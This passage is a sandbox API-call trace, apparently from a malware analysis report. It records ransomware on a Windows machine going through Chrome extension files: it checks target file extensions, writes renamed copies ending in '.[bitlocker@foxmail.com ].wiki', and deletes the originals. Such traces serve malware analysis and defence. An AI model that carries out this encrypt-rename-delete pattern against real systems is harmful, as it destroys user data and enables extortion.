Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json") returned 151 [0173.566] lstrlenW (lpString=".dbf") returned 4 [0173.566] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.566] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json") returned 151 [0173.566] lstrlenW (lpString=".1cd") returned 4 [0173.566] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.566] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json") returned 151 [0173.566] lstrlenW (lpString=".jpg") returned 4 [0173.566] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.566] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json") returned 151 [0173.566] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json") returned 151 [0173.566] lstrlenW (lpString=".doc") returned 4 [0173.566] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.566] lstrlenW (lpString=".docx") returned 5 [0173.566] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.566] lstrlenW (lpString=".pdf") returned 4 [0173.566] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.567] lstrlenW (lpString=".xls") returned 4 [0173.567] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.567] lstrlenW (lpString=".xlsx") returned 5 [0173.567] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.567] lstrlenW (lpString=".ppt") returned 4 [0173.567] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.567] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json") returned 151 [0173.567] lstrlenW (lpString=".zip") returned 4 [0173.567] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.567] lstrlenW (lpString=".rar") returned 4 [0173.567] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.567] lstrlenW (lpString=".bz2") returned 4 [0173.567] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.567] lstrlenW (lpString=".7z") returned 3 [0173.567] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.567] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json") returned 151 [0173.567] lstrlenW (lpString=".dbf") returned 4 [0173.567] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.567] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json") returned 151 [0173.567] lstrlenW (lpString=".1cd") returned 4 [0173.567] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.567] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json") returned 151 [0173.567] lstrlenW (lpString=".jpg") returned 4 [0173.567] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.567] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.568] lstrlenW (lpString="verified_contents.json") returned 22 [0173.568] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0173.826] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=11094) returned 1 [0173.826] CloseHandle (hObject=0x334) returned 1 [0173.826] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json")) returned 0x2020 [0173.826] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.826] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0173.826] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.826] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.826] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0173.827] GetLastError () returned 0x0 [0173.827] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x2b56, lpOverlapped=0x0) returned 1 [0173.840] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x2b60, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x2b60, lpOverlapped=0x0) returned 1 [0173.841] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.841] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x100, lpOverlapped=0x0) returned 1 [0173.841] SetEndOfFile (hFile=0x1ac) returned 1 [0173.841] CloseHandle (hObject=0x1ac) returned 1 [0173.841] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.841] SetEndOfFile (hFile=0x334) returned 1 [0173.842] CloseHandle (hObject=0x334) returned 1 [0173.842] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.842] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json")) returned 1 [0173.843] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json") returned 158 [0173.843] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json") returned 158 [0173.843] lstrlenW (lpString=".doc") returned 4 [0173.843] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.843] lstrlenW (lpString=".docx") returned 5 [0173.843] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.843] lstrlenW (lpString=".pdf") returned 4 [0173.843] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.843] lstrlenW (lpString=".xls") returned 4 [0173.843] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.843] lstrlenW (lpString=".xlsx") returned 5 [0173.843] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.843] lstrlenW (lpString=".ppt") returned 4 [0173.843] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.843] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json") returned 158 [0173.843] lstrlenW (lpString=".zip") returned 4 [0173.843] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.843] lstrlenW (lpString=".rar") returned 4 [0173.843] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.843] lstrlenW (lpString=".bz2") returned 4 [0173.843] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.843] lstrlenW (lpString=".7z") returned 3 [0173.843] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.843] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json") returned 158 [0173.843] lstrlenW (lpString=".dbf") returned 4 [0173.843] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.843] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json") returned 158 [0173.844] lstrlenW (lpString=".1cd") returned 4 [0173.844] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.844] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json") returned 158 [0173.844] lstrlenW (lpString=".jpg") returned 4 [0173.844] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.844] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json") returned 158 [0173.844] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json") returned 158 [0173.844] lstrlenW (lpString=".doc") returned 4 [0173.844] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.844] lstrlenW (lpString=".docx") returned 5 [0173.844] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.844] lstrlenW (lpString=".pdf") returned 4 [0173.844] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.844] lstrlenW (lpString=".xls") returned 4 [0173.844] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.844] lstrlenW (lpString=".xlsx") returned 5 [0173.844] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.844] lstrlenW (lpString=".ppt") returned 4 [0173.844] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.844] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json") returned 158 [0173.844] lstrlenW (lpString=".zip") returned 4 [0173.844] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.844] lstrlenW (lpString=".rar") returned 4 [0173.844] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.844] lstrlenW (lpString=".bz2") returned 4 [0173.844] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.844] lstrlenW (lpString=".7z") returned 3 [0173.844] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.844] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json") returned 158 [0173.845] lstrlenW (lpString=".dbf") returned 4 [0173.845] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.845] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json") returned 158 [0173.845] lstrlenW (lpString=".1cd") returned 4 [0173.845] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.845] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\verified_contents.json") returned 158 [0173.845] lstrlenW (lpString=".jpg") returned 4 [0173.845] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.845] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.845] lstrlenW (lpString="messages.json") returned 13 [0173.845] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0173.845] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=285) returned 1 [0173.846] CloseHandle (hObject=0x334) returned 1 [0173.846] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json")) returned 0x2020 [0173.846] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.846] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0173.846] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.846] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.846] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0173.847] GetLastError () returned 0x0 [0173.847] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x11d, lpOverlapped=0x0) returned 1 [0173.848] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x120, lpOverlapped=0x0) returned 1 [0173.849] ReadFile (in: hFile=0x334, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.849] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.849] SetEndOfFile (hFile=0x1ac) returned 1 [0173.849] CloseHandle (hObject=0x1ac) returned 1 [0173.849] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.849] SetEndOfFile (hFile=0x334) returned 1 [0173.850] CloseHandle (hObject=0x334) returned 1 [0173.850] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.850] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json")) returned 1 [0173.850] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json") returned 152 [0173.850] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json") returned 152 [0173.850] lstrlenW (lpString=".doc") returned 4 [0173.850] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.851] lstrlenW (lpString=".docx") returned 5 [0173.851] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.851] lstrlenW (lpString=".pdf") returned 4 [0173.851] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.851] lstrlenW (lpString=".xls") returned 4 [0173.851] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.851] lstrlenW (lpString=".xlsx") returned 5 [0173.851] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.851] lstrlenW (lpString=".ppt") returned 4 [0173.851] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.851] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json") returned 152 [0173.851] lstrlenW (lpString=".zip") returned 4 [0173.851] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.851] lstrlenW (lpString=".rar") returned 4 [0173.851] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.851] lstrlenW (lpString=".bz2") returned 4 [0173.851] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.851] lstrlenW (lpString=".7z") returned 3 [0173.851] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.851] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json") returned 152 [0173.851] lstrlenW (lpString=".dbf") returned 4 [0173.851] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.851] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json") returned 152 [0173.851] lstrlenW (lpString=".1cd") returned 4 [0173.851] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.851] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json") returned 152 [0173.851] lstrlenW (lpString=".jpg") returned 4 [0173.851] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.851] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json") returned 152 [0173.852] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json") returned 152 [0173.852] lstrlenW (lpString=".doc") returned 4 [0173.852] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.852] lstrlenW (lpString=".docx") returned 5 [0173.852] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.852] lstrlenW (lpString=".pdf") returned 4 [0173.852] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.852] lstrlenW (lpString=".xls") returned 4 [0173.852] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.852] lstrlenW (lpString=".xlsx") returned 5 [0173.852] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.852] lstrlenW (lpString=".ppt") returned 4 [0173.852] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.852] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json") returned 152 [0173.852] lstrlenW (lpString=".zip") returned 4 [0173.852] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.852] lstrlenW (lpString=".rar") returned 4 [0173.852] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.852] lstrlenW (lpString=".bz2") returned 4 [0173.852] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.852] lstrlenW (lpString=".7z") returned 3 [0173.852] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.852] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json") returned 152 [0173.852] lstrlenW (lpString=".dbf") returned 4 [0173.852] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.852] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json") returned 152 [0173.852] lstrlenW (lpString=".1cd") returned 4 [0173.852] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.852] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json") returned 152 [0173.852] lstrlenW (lpString=".jpg") returned 4 [0173.852] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.853] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.853] lstrlenW (lpString="messages.json") returned 13 [0173.853] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 